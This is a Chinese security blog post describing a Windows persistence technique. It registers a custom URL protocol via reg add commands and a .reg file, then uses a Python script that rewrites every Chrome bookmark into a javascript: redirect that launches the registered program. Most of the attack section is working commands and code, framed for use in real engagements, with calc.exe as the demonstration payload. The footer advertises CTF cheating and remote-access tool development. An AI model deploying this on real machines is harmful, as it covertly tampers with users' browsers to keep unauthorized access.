查看原文
科技

新一代权限维持|自定义协议加载恶意文件

校长 不懂安全的校长
2024-07-24

0x01 前言

昨天晚上和秋风交流,发现自定义协议可以用来做权限维持。这个思路应该是比较新的,索性我也研究了起来。起先他还是通过自定义协议让客户端打开本地的文件,后面发现原来可以用来做权限维持。

0x02 自定义协议

自定义协议是一种特殊的URL Scheme,开发者可以定义任意协议名称,并绑定到特定的应用程序。当用户点击该协议的链接时,系统会调用注册表中定义的应用程序来处理URL。其工作原理如下:

  • 注册协议:在Windows注册表中添加一个新键值,定义协议名称和对应的应用程序路径。
  • URI Scheme处理:当浏览器或其他应用程序识别到该URI Scheme时,会调用注册表中指定的应用程序执行。
  • 参数传递:协议可以传递参数到应用程序,路径或查询字符串作为参数传递给应用程序。

该Scheme可以被浏览器或其他应用程序解释,并触发相应的本地程序。例如,你可以定义一个协议“mycalc”,当网页中的链接“mycalc://open”被点击时,Windows系统会打开计算器应用程序。

这里我们可以使用CMD命令行进行修改注册表,并且我们使用自定义协议能够打开 Calc.exe

reg add "HKEY_CLASSES_ROOT\xz" /ve /d "URL:MyCalc Protocol" /f
reg add "HKEY_CLASSES_ROOT\xz" /v "URL Protocol" /d "" /f
reg add "HKEY_CLASSES_ROOT\xz\shell" /f
reg add "HKEY_CLASSES_ROOT\xz\shell\open" /f
reg add "HKEY_CLASSES_ROOT\xz\shell\open\command" /ve /d "\"C:\\Windows\\System32\\calc.exe\"" /f

这里其实我们还可以自己创建.reg文件,并且使用cmd导入

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\xz]
@="URL:Calculator Protocol"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\xz\shell]

[HKEY_CLASSES_ROOT\xz\shell\open]

[HKEY_CLASSES_ROOT\xz\shell\open\command]
@="C:\\Windows\\System32\\calc.exe"

0x03 权限维持

昨天聊到正常浏览器的书签页是能够修改并且嵌套XSS语句,我们自定义了协议也就能够在浏览器进行修改。

javascript:window.open('https://www.baidu.com''_blank'); setTimeout(function() { window.location.href = 'rce://open'; }, 3000);

正常在实战当中,我们肯定是不可能远程屏幕操作对方浏览器进行修改的。所以我们可以通过cmd来对浏览器的书签页进行修改。

以下是浏览器的书签存放位置

Chrome浏览器: C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Firefox浏览器:C:\Users\<YourUsername>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\places.sqlite
Edge浏览器:C:\Users\<YourUsername>\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks

我们这里以Chrome浏览器作为例子,针对 url 进行修改即可。

在实战当中,我们肯定不是添加新的标签页面,而是在原有的页面进行修改。于是我们就可以写一个脚本批量将目标的书签进行修改。

import json

def modify_chrome_bookmarks(bookmark_file):
    def update_url(bookmark):
        if 'url' in bookmark:
            original_url = bookmark['url']
            new_url = f"javascript:window.open('{original_url}', '_blank'); setTimeout(function() {{ window.location.href = 'xz://open'; }}, 3000);"
            bookmark['url'] = new_url

    def process_bookmark(bookmark):
        if 'children' in bookmark:
            for child in bookmark['children']:
                process_bookmark(child)
        else:
            update_url(bookmark)

    with open(bookmark_file, 'r+', encoding='utf-8') as file:
        bookmarks = json.load(file)

        for root in bookmarks['roots']:
            process_bookmark(bookmarks['roots'][root])
        
        file.seek(0)
        json.dump(bookmarks, file, indent=4, ensure_ascii=False)
        file.truncate()

# 文件存放位置路径
bookmark_path = "C:\\Users\\33868\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks"
modify_chrome_bookmarks(bookmark_path)

这里我们准备两个正常的书签,执行脚本

执行脚本之后成功修改,没有问题并且成功弹出计算器。

0x04 结尾

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发、二进制漏洞挖掘、Web3安全服务、智能合约代码审计 等等的安全项目,请联系下方微信。

继续滑动看下一个
不懂安全的校长
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存